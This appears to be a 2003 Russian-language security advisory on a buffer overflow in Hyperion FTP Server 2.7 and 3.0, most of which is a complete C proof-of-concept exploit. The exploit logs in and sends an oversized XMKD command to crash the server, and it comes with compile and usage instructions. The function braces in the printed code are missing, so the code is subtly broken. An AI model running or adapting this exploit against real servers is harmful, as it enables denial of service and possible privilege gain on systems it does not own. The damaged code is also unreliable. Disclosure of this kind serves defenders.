Security Lab

Удаленное выполнение произвольного кода в Hyperion FTP Server

Дата публикации:10.04.2003
Всего просмотров:1250
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание: Переполнение буфера обнаружено в Hyperion FTP Server. Удаленный пользователь может аварийно завершить работу FTP сервиса и может получить System привилегии на целевом сервере.

Tripbit Security сообщил, что удаленный авторизованный пользователь, включая анонимного пользователя, может аварийно завершить работу FTP сервера, выполняя FTP команды (типа 'mkdir') с буфером, более 251 байт. Удаленный авторизованный пользователь, эксплуатирующий эту уязвимость, может выполнить произвольный код с System привилегиями. Пример:

/******************************************************************************* 
 
 
*   Denial of Service Attack for Mollensoft Hyperion FTP Server 3.0
*   ---------------------------------------------------------------
 
*   Note: This paper is ONLY for INFORMATION purposes and not for any
*         destructive acts!
 
*   Note: Dieser Text ist ausschließlich NUR für Informationszwecke gedacht
*         und nicht für irgendwelche Zerstörerischen Taten!
 
*   
*   Tripbit Security Development
*   Author: posidron
*   Website: tripbit.org   
 
*   Vulnerable Version:
*   + Hyperion 3.0
*   + Hyperion 2.7
 
*   Compile:
*   bcc32 -lx ws2_32.lib hyperion.c
*   
*   Execute:
*   hyperion <host> [user] [pass]
 
*   Thx:
*   MisterMoe, Rushjo, Tec, PeaceTreaty, seth
 
*******************************************************************************/

#include <stdio.h>
#include <windows.h>
#include <winsock2.h>

#define A 0x41
#define PORT 21
#define MAX_BUFFER 255
#define MAX_PACKET_BUFFER 1024

int winsock(void);

void usage(char *prog_name)
 
    printf("Usage: %s <host> [user] [pass] \n", prog_name);
    exit(-1);
 

int main(int argc, char *argv[])
 
    char buffer[MAX_BUFFER], packet_buffer[MAX_PACKET_BUFFER];
    long rc = winsock();
    SOCKET s = socket(AF_INET, SOCK_STREAM, 0);
    SOCKADDR_IN addr;
    
    if(argc < 4) usage(argv[0]);
    
    if(s == INVALID_SOCKET)
    {
        printf("Can't start Socket!, Error code: %d\n", WSAGetLastError());
        return 1;
    }
    
    if(rc != 0)
    {
        printf("Can't start Winsock!, Error code: %d\n", rc);
        return 1;
    }
    
    memset(&addr, 0, sizeof(SOCKADDR_IN));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    addr.sin_addr.s_addr = inet_addr((char*)argv[1]);
    
    rc = connect(s,(SOCKADDR*)&addr, sizeof(SOCKADDR));
    
    if(rc == SOCKET_ERROR)
    {
        printf("Can't connect!, Error code: %d\n", WSAGetLastError());
        return 1;
    }
    
    printf("Connected to %s \n", argv[1]);
    printf("Preparing attack!\n");
    
    recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
    sprintf((char *)packet_buffer,"USER %s\r\n",argv[2]);
    send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0);
    
    recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
    sprintf((char *)packet_buffer,"PASS %s\r\n",argv[3]);
    send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0);
    
    recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
    
    memset(buffer,A,MAX_BUFFER);
    buffer[MAX_BUFFER-1]=0;
    
    sprintf((char *)packet_buffer,"XMKD %s\r\n",buffer);
    send(s,(char *)packet_buffer,strlen((char *)packet_buffer),0);
    recv(s,(char *)packet_buffer,MAX_PACKET_BUFFER,0);
    
    Sleep(1000);
    shutdown(s, 2);
    closesocket(s);
    WSACleanup();
    printf("Attack done!");
    return 0;
 

int winsock(void)
 
    WSADATA wsa;
    return WSAStartup(MAKEWORD(2,0), &wsa);

Уязвимость обнаружена в Hyperion FTP Server 2.7, 3.0
Ссылки: TA-2003-03 Buffer Overflow Vulnerability in Hyperion FTP Server